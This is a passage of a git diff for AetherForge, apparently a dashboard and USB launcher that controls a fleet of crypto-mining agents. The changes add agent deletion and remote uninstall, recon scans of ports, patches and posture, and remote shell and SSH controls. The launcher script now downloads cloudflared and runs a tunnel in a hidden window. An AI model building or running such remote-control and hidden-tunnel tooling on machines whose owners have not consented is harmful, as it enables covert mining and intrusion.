cfg.Alerts.SMTPPort, - SMTPUser: cfg.Alerts.SMTPUser, - SMTPPassword: cfg.Alerts.SMTPPassword, - EmailTo: cfg.Alerts.EmailTo, - EmailFrom: cfg.Alerts.EmailFrom, + }, func() alerts.NotifyConfig { + // Read live from cfg so Calibrate changes take effect without restart. + return alerts.NotifyConfig{ + TelegramBotToken: cfg.Alerts.TelegramBotToken, + TelegramChatID: cfg.Alerts.TelegramChatID, + EmailEnabled: cfg.Alerts.EmailEnabled, + SMTPHost: cfg.Alerts.SMTPHost, + SMTPPort: cfg.Alerts.SMTPPort, + SMTPUser: cfg.Alerts.SMTPUser, + SMTPPassword: cfg.Alerts.SMTPPassword, + EmailTo: cfg.Alerts.EmailTo, + EmailFrom: cfg.Alerts.EmailFrom, + } }, func(ev alerts.AlertEvent) { wsHub.BroadcastFleetAlert(ev) }) diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 50e3c5c..d3b1845 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -6,21 +6,31 @@ const API_BASE = '/api/v1'; // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. -async function fetchJSON(url: string, options?: RequestInit): Promise { - const { headers: extraHeaders, ...rest } = options ?? {}; - const res = await fetch(`${API_BASE}${url}`, { - ...rest, - headers: { - 'Content-Type': 'application/json', - ...authHeaders(), - ...(extraHeaders as Record | undefined), - }, - }); - if (!res.ok) { - const err = await res.text(); - throw new Error(`API error ${res.status}: ${err}`); +async function fetchJSON(url: string, options?: RequestInit, timeoutMs = 10000): Promise { + const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal }; + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), timeoutMs); + if (callerSignal) { + callerSignal.addEventListener('abort', () => controller.abort()); + } + try { + const res = await fetch(`${API_BASE}${url}`, { + ...rest, + signal: controller.signal, + headers: { + 'Content-Type': 'application/json', + ...authHeaders(), + ...(extraHeaders as Record | undefined), + }, + }); + if (!res.ok) { + const err = await res.text(); + throw new Error(`API error ${res.status}: ${err}`); + } + return res.json(); + } finally { + clearTimeout(timer); } - return res.json(); } export const api = { @@ -154,6 +164,15 @@ export const api = { body: JSON.stringify({ agent_ids: agentIds, action }), }), + deleteAgent: (id: string) => + fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }), + + bulkDeleteAgents: (ids: string[]) => + fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', { + method: 'POST', + body: JSON.stringify({ ids }), + }), + createUser: (username: string, password: string) => fetchJSON<{ success: boolean }>('/users', { method: 'POST', diff --git a/server/web/src/components/Fleet/AgentListItem.tsx b/server/web/src/components/Fleet/AgentListItem.tsx index 91bb58b..6c013aa 100644 --- a/server/web/src/components/Fleet/AgentListItem.tsx +++ b/server/web/src/components/Fleet/AgentListItem.tsx @@ -2,6 +2,17 @@ import AgentRemoteActions from './AgentRemoteActions'; import { formatHashrate, formatUptime } from '../../help/fleetFilters'; import type { Agent } from '../../types'; import type { SeqCommandResult } from '../../context/WebSocketContext'; +import LatencyBadge from './LatencyBadge'; + +function formatRelTime(iso: string): string { + const diff = Date.now() - new Date(iso).getTime(); + const mins = Math.floor(diff / 60000); + if (mins < 2) return 'just now'; + if (mins < 60) return `${mins}m ago`; + const hrs = Math.floor(mins / 60); + if (hrs < 24) return `${hrs}h ago`; + return `${Math.floor(hrs / 24)}d ago`; +} interface Props { agent: Agent; @@ -64,7 +75,10 @@ export default function AgentListItem({ )} - {agent.status} +
+ {agent.status} + +
{(agent.tags?.length ?? 0) > 0 && ( @@ -78,7 +92,12 @@ export default function AgentListItem({
{formatHashrate(agent.hashrate_15m)} {agent.ip || '—'} - {!expanded && click for details} + {agent.status !== 'online' && agent.last_seen && ( + + last seen {formatRelTime(agent.last_seen)} + + )} + {!expanded && agent.status === 'online' && click for details}
{!expanded && agent.notes?.trim() && ( diff --git a/server/web/src/components/Fleet/FleetToolbar.tsx b/server/web/src/components/Fleet/FleetToolbar.tsx index 17a6858..80136bd 100644 --- a/server/web/src/components/Fleet/FleetToolbar.tsx +++ b/server/web/src/components/Fleet/FleetToolbar.tsx @@ -96,7 +96,16 @@ export default function FleetToolbar({ - + + )} diff --git a/server/web/src/components/Fleet/LatencyBadge.tsx b/server/web/src/components/Fleet/LatencyBadge.tsx new file mode 100644 index 0000000..eb097ab --- /dev/null +++ b/server/web/src/components/Fleet/LatencyBadge.tsx @@ -0,0 +1,83 @@ +/** + * LatencyBadge — 4-bar cell-signal style indicator for WebSocket RTT. + * + * Bar fill thresholds: + * 4 bars (green) : < 50 ms — excellent + * 3 bars (cyan) : < 150 ms — good + * 2 bars (amber) : < 400 ms — fair + * 1 bar (red) : ≥ 400 ms — poor + * 0 bars (grey) : no data — waiting for first pong + */ + +interface Props { + ms?: number; + /** Compact variant — bars only, no ms label */ + compact?: boolean; +} + +function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 { + if (ms < 50) return 4; + if (ms < 150) return 3; + if (ms < 400) return 2; + return 1; +} + +const LEVEL_COLORS: Record = { + 4: '#39ff14', // neon green + 3: '#00f5ff', // cyan + 2: '#ffb020', // amber + 1: '#ff4466', // red + 0: '#444', // grey +}; + +const BAR_HEIGHTS = [5, 8, 11, 14]; // px, bottom-aligned + +export default function LatencyBadge({ ms, compact = false }: Props) { + const level = ms !== undefined ? latencyLevel(ms) : 0; + const color = LEVEL_COLORS[level]; + const label = ms !== undefined ? `${ms}ms` : '—'; + + return ( + + {BAR_HEIGHTS.map((h, i) => { + const filled = (i + 1) <= level; + return ( + + ); + })} + {!compact && ms !== undefined && ( + + {label} + + )} + + ); +} diff --git a/server/web/src/components/PoolPresetPicker.tsx b/server/web/src/components/PoolPresetPicker.tsx index c54937f..04e2807 100644 --- a/server/web/src/components/PoolPresetPicker.tsx +++ b/server/web/src/components/PoolPresetPicker.tsx @@ -18,8 +18,6 @@ interface PoolPresetPickerProps { pass: string; backups?: BackupPool[]; onChange: (next: PoolForgeFields) => void; - /** Show manual host/port fields below presets (Forge advanced). */ - showManualFields?: boolean; } export default function PoolPresetPicker({ @@ -29,7 +27,6 @@ export default function PoolPresetPicker({ pass, backups = [], onChange, - showManualFields = false, }: PoolPresetPickerProps) { const [selectedIds, setSelectedIds] = useState(() => { const detected = detectPresetIds(host, port, tls, backups); @@ -185,60 +182,6 @@ export default function PoolPresetPicker({ )} - {showManualFields && ( -
-
- - - onChange({ - pool_host: e.target.value, - pool_port: port, - pool_tls: tls, - backup_pools: backups, - }) - } - /> -
-
- - - onChange({ - pool_host: host, - pool_port: e.target.valueAsNumber || 3333, - pool_tls: tls, - backup_pools: backups, - }) - } - /> -
- -
- )} ); } diff --git a/server/web/src/components/SessionGate.tsx b/server/web/src/components/SessionGate.tsx index c46f3cc..a53c4ab 100644 --- a/server/web/src/components/SessionGate.tsx +++ b/server/web/src/components/SessionGate.tsx @@ -57,9 +57,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {

AetherForge

Sign in to open the command deck.

-

- First run: password is in the LAUNCH console or data\login-credentials.json next to the server data folder. -

setUser(e.target.value)} autoComplete="username" /> diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index f60f02f..a51a98c 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -105,6 +105,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { ); break; } + case 'agent_deleted': { + const { agent_id } = msg.payload as { agent_id: string }; + setAgents((prev) => prev.filter((a) => a.id !== agent_id)); + break; + } case 'stats_update': { const update = msg.payload as WSStatsUpdate; setAgents((prev) => @@ -152,6 +157,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { ...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}), ...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}), ...(update.services !== undefined ? { services: update.services } : {}), + ...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}), } : a ) diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 0365003..ed5e585 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -2,6 +2,7 @@ import { useState, useEffect, useMemo, useCallback, useRef } from 'react'; import { api } from '../api/client'; import { useWebSocket } from '../hooks/useWebSocket'; import type { Agent, HashrateSample, ServerInfo } from '../types'; +import LatencyBadge from '../components/Fleet/LatencyBadge'; import HashrateChart from '../components/Charts/HashrateChart'; import NeonCard from '../components/NeonCard/NeonCard'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; @@ -139,9 +140,19 @@ export default function AgentsPage() { } }, [selectedAgent?.id, agentLogs]); + // Sort: online first, then by last_seen desc, then alphabetical + const sortedAgents = useMemo(() => [...agents].sort((a, b) => { + if (a.status === 'online' && b.status !== 'online') return -1; + if (a.status !== 'online' && b.status === 'online') return 1; + const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0; + const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0; + if (tb !== ta) return tb - ta; + return a.name.localeCompare(b.name); + }), [agents]); + const filteredAgents = useMemo( - () => filterFleetAgents(agents, filters), - [agents, filters] + () => filterFleetAgents(sortedAgents, filters), + [sortedAgents, filters] ); const refreshLog = async (refresh = false) => { @@ -199,10 +210,60 @@ export default function AgentsPage() { }); }, []); + const handleDeleteAgent = async (agentId: string) => { + if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return; + try { + await api.deleteAgent(agentId); + setAgents((prev) => prev.filter((a) => a.id !== agentId)); + if (selectedAgent?.id === agentId) setSelectedAgent(null); + setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; }); + } catch (err) { + alert(err instanceof Error ? err.message : 'Delete failed'); + } + }; + + const handleUninstallAndDelete = async (agent: Agent) => { + const label = agent.status === 'online' + ? `Uninstall the miner from "${agent.name}" and remove it from the roster?` + : `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`; + if (!window.confirm(label)) return; + if (agent.status === 'online') { + try { + await api.sendAgentCommand(agent.id, 'uninstall', {}); + } catch { + // Non-fatal — proceed to delete the record regardless + } + } + try { + await api.deleteAgent(agent.id); + setAgents((prev) => prev.filter((a) => a.id !== agent.id)); + if (selectedAgent?.id === agent.id) setSelectedAgent(null); + setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; }); + } catch (err) { + alert(err instanceof Error ? err.message : 'Delete failed'); + } + }; + const handleBulkAction = async (action: string) => { const ids = [...selectedIds]; if (ids.length === 0) return; + if (action === 'delete') { + if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return; + setBulkBusy(true); + try { + await api.bulkDeleteAgents(ids); + setAgents((prev) => prev.filter((a) => !ids.includes(a.id))); + if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null); + setSelectedIds(new Set()); + } catch (err) { + alert(err instanceof Error ? err.message : 'Bulk delete failed'); + } finally { + setBulkBusy(false); + } + return; + } + let targetIds = ids; if (action === 'restart_idle') { targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id); @@ -323,16 +384,57 @@ export default function AgentsPage() { value={tagsDraft} onChange={(e) => setTagsDraft(e.target.value)} /> - +
+ + {selectedAgent.status === 'online' && ( + + )} + +
{metaMsg && {metaMsg}}
Status - {selectedAgent.status} + + {selectedAgent.status} + {selectedAgent.status === 'online' && ( + + )} + +
+ {selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && ( +
+ Hostname + {selectedAgent.hostname} +
+ )} +
+ Last Seen + + {selectedAgent.last_seen + ? new Date(selectedAgent.last_seen).toLocaleString() + : '—'} +
Wallet diff --git a/server/web/src/pages/BuildManagerPage.css b/server/web/src/pages/BuildManagerPage.css index 307a2fc..781e09f 100644 --- a/server/web/src/pages/BuildManagerPage.css +++ b/server/web/src/pages/BuildManagerPage.css @@ -217,9 +217,7 @@ font-family: 'Courier New', monospace; font-size: 0.7rem; color: #b8e0d0; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; + word-break: break-all; min-width: 0; } diff --git a/server/web/src/pages/BuildManagerPage.tsx b/server/web/src/pages/BuildManagerPage.tsx index 73d1933..3dafbdc 100644 --- a/server/web/src/pages/BuildManagerPage.tsx +++ b/server/web/src/pages/BuildManagerPage.tsx @@ -300,23 +300,22 @@ export default function BuildManagerPage() { const loadBuilds = useCallback(async () => { try { - const [list, info] = await Promise.all([ - api.listBuilds(), - api.getServerInfo().catch(() => null), - ]); + const list = await api.listBuilds(); setBuilds(list); - if (info) { - const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin; - setServerBase(pub); - } else { - setServerBase(window.location.origin); - } setError(''); } catch (e) { setError(e instanceof Error ? e.message : 'Failed to load builds'); } finally { setLoading(false); } + // Load server base URL separately so a slow/hung server-info call + // never blocks the builds list from rendering. + api.getServerInfo() + .then((info) => { + const pub = info?.suggested_url?.trim().replace(/\/$/, ''); + if (pub) setServerBase(pub); + }) + .catch(() => {/* use window.location.origin fallback already set */}); }, []); useEffect(() => { loadBuilds(); }, [loadBuilds]); diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 5bd060f..aa7902a 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -207,18 +207,26 @@ export default function BuilderPage() { const fileInputRef = useRef(null); useEffect(() => { - Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])]) + Promise.all([ + api.getConfig(), + api.getServerInfo().catch(() => null), + api.listBuilds().catch(() => []), + ]) .then(([config, info, builds]) => { setCalibrateConfig(config); - setServerInfo(info); - setListenPort(config.port || info.port || 8989); - const candidates = lanEndpointCandidates(info, config.port || info.port); - const base = defaultsFromConfig(config, info, builds); - setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates })); + if (info) { + setServerInfo(info); + setListenPort(config.port || info.port || 8989); + } else { + setListenPort(config.port || 8989); + } + const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : []; + const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]); + setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates })); }) .catch((err) => { console.error(err); - setError('Failed to load server info — is the control server running?'); + setError('Failed to load server config — is the control server running?'); }) .finally(() => setLoadingDefaults(false)); }, []); @@ -1096,7 +1104,6 @@ export default function BuilderPage() { tls={form.pool_tls} pass={form.pool_pass || 'x'} backups={form.backup_pools} - showManualFields={!simpleMode} onChange={(next) => { updateField('pool_host', next.pool_host); updateField('pool_port', next.pool_port); diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index 00b64d8..3874dfc 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -3,6 +3,7 @@ import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; import type { Agent, AgentService } from '../types'; import NeonCard from '../components/NeonCard/NeonCard'; +import LatencyBadge from '../components/Fleet/LatencyBadge'; import { formatHashrate } from '../help/fleetFilters'; import './CruciblePage.css'; @@ -18,6 +19,8 @@ interface TermLine { text: string; ts: Date; success?: boolean; + // Whether this agent was in the active selection when the command was dispatched + targeted?: boolean; // Structured data for rich terminal renderers richData?: RichTermData; } @@ -314,6 +317,15 @@ export default function CruciblePage() { const online = (a: Agent) => a.status === 'online'; + // Prune selectedIds when agents are removed (e.g. after roster delete). + useEffect(() => { + const liveIds = new Set(agents.map((a) => a.id)); + setSelectedIds((prev) => { + const pruned = new Set([...prev].filter((id) => liveIds.has(id))); + return pruned.size === prev.size ? prev : pruned; + }); + }, [agents]); + // ── Auto-scroll terminal ─────────────────────────────────────────────── useEffect(() => { @@ -377,23 +389,22 @@ export default function CruciblePage() { } catch { /* malformed JSON — fall through to plain text */ } } - if (selectedIds.size > 0 && !selectedIds.has(aid)) continue; const agent = agents.find((a) => a.id === aid); const name = agent?.name ?? aid.slice(0, 8); + const targeted = selectedIds.size === 0 || selectedIds.has(aid); if (richData) { - // Single rich-rendered line (table/block replaces raw JSON) lines.push({ id: mkId(), agentId: aid, agentName: name, isCmd: false, text: '', ts: new Date(), - success: r.success, richData, + success: r.success, richData, targeted, }); } else { const msgLines = msg.split('\n').filter(Boolean); for (const line of msgLines) { lines.push({ id: mkId(), agentId: aid, agentName: name, - isCmd: false, text: line, ts: new Date(), success: r.success, + isCmd: false, text: line, ts: new Date(), success: r.success, targeted, }); } } @@ -503,19 +514,16 @@ export default function CruciblePage() { const probePosture = (targets?: Agent[]) => { const tgts = targets ?? selectedAgents.filter(online); + if (tgts.length === 0) { alert('No online agents selected.'); return; } Promise.all( tgts.map((a) => api.sendAgentCommand(a.id, 'posture').catch((err) => { setTermLines((prev) => [ ...prev, { - id: mkId(), - agentId: a.id, - agentName: a.name, - isCmd: false, + id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`, - ts: new Date(), - success: false, + ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }) @@ -523,10 +531,13 @@ export default function CruciblePage() { ); }; - // Fires posture + listen_ports + patch_status in parallel for all selected online nodes. + // Fires posture + listen_ports + patch_status in parallel. + // When agents are selected, targets only selection. Otherwise targets all online. const scanSelected = (targets?: Agent[]) => { - const tgts = targets ?? selectedAgents.filter(online); - if (tgts.length === 0) return; + const tgts = targets ?? (selectedAgents.filter(online).length > 0 + ? selectedAgents.filter(online) + : agents.filter(online)); + if (tgts.length === 0) { alert('No online agents available.'); return; } const cmds = ['posture', 'listen_ports', 'patch_status'] as const; for (const a of tgts) { for (const cmd of cmds) { @@ -536,7 +547,7 @@ export default function CruciblePage() { { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`, - ts: new Date(), success: false, + ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0, }, ]); }); @@ -544,6 +555,9 @@ export default function CruciblePage() { } }; + // Focused agent — when exactly one is selected show its details prominently. + const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; + const handleKey = (e: React.KeyboardEvent) => { if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'ArrowUp') { @@ -773,6 +787,7 @@ export default function CruciblePage() {
{a.cpu_cores}c {formatHashrate(a.hashrate_15m)} +
{ssh.label}
@@ -866,6 +881,40 @@ export default function CruciblePage() { )} + {/* ── Focused machine banner ──────────────────────────────────────── */} + {focusedAgent && ( +
+ + ▶ ACTIVE TARGET + + + {platformIcon(focusedAgent.platform)} {focusedAgent.name} + + {focusedAgent.ip || '—'} + {focusedAgent.status} + + {focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''} + {focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB + {focusedAgent.status !== 'online' && ( + + ⚠ offline — commands will fail until it reconnects + + )} + +
+ )} + {/* ── Groups & Actions ────────────────────────────────────────────── */}
@@ -903,36 +952,40 @@ export default function CruciblePage() {
OPERATIONS + {selectedIds.size > 0 && ( + + → {selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`} + + )}
+ + {/* ── Posture ──────────────────────────────────── */}
- Posture - - + Posture & Recon +
+ {/* ── SSH ──────────────────────────────────────── */}
SSH
+ {/* ── Mining ───────────────────────────────────── */}
Mining -
- -
- Recon -
+ {/* ── Shell type ───────────────────────────────── */}
- Shell + Shell Mode
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
+ {/* ── Selection chips ──────────────────────────── */} {selectedIds.size > 0 && (
{selectedAgents.map((a) => { @@ -1057,10 +1104,12 @@ export default function CruciblePage() { )} {termLines.map((line) => { const color = agentColor(line.agentId, allIds); + const dim = line.targeted === false; return (
{line.agentName.slice(0, 12).padEnd(12)} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 440b8fb..a9ce9d2 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -67,6 +67,10 @@ export interface Agent { reboot_pending?: boolean; agent_elevated?: boolean; services?: AgentService[]; + + hostname?: string; + // Live RTT from WebSocket ping/pong — undefined until first pong, null when offline. + latency_ms?: number; } export interface AgentService { diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index 82a4d29..baf4fbf 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -52,6 +52,7 @@ export interface WSStatsUpdate { reboot_pending?: boolean; agent_elevated?: boolean; services?: AgentService[]; + latency_ms?: number; } export interface WSCommandResult { diff --git a/usb/LAUNCH.bat b/usb/LAUNCH.bat index 7a62852..f47ad34 100644 --- a/usb/LAUNCH.bat +++ b/usb/LAUNCH.bat @@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" :: ---------------------------------------------------------------- -:: 5. Detect LAN IP for display +:: 5. Configure optional Cloudflare tunnel (foreground process, no service) +:: ---------------------------------------------------------------- +set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe" +set "CF_PID_FILE=%ROOT%\data\cloudflared.pid" +set "CF_TUNNEL_TOKEN=" +if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%" +if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" ( + set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt" +) + +:: ---------------------------------------------------------------- +:: 6. Detect LAN IP for display :: ---------------------------------------------------------------- set "SERVER_PORT=8989" for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( @@ -118,9 +129,10 @@ set "LAN_IP=localhost" set "LAN_IP=%LAN_IP: =%" :: ---------------------------------------------------------------- -:: 6. Kill any stale server process +:: 7. Kill any stale server and tunnel processes :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul +taskkill /F /IM cloudflared.exe >nul 2>nul ping -n 2 127.0.0.1 >nul echo. @@ -136,6 +148,30 @@ echo Press Ctrl+C to stop. echo ================================================================ echo. +:: Start optional Cloudflare tunnel for this launcher session only. +if defined CF_TUNNEL_TOKEN ( + if not exist "%ROOT%\tools" mkdir "%ROOT%\tools" + if not exist "%CLOUDFLARED_BIN%" ( + echo [Tunnel] Downloading cloudflared.exe... + powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }" + ) + if exist "%CLOUDFLARED_BIN%" ( + del "%CF_PID_FILE%" 2>nul + echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^). + powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id" + if errorlevel 1 ( + echo [Tunnel] WARNING: cloudflared failed to start. + ) else ( + echo [Tunnel] Tunnel process started. It will stop when this launcher exits. + ) + ) else ( + echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped. + ) +) else ( + echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN. +) +echo. + :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" @@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" +if exist "%CF_PID_FILE%" ( + for /f "usebackq" %%P in ("%CF_PID_FILE%") do ( + powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul + ) + del "%CF_PID_FILE%" 2>nul +) + echo. if "!EC!"=="0" ( echo [Server] Stopped normally.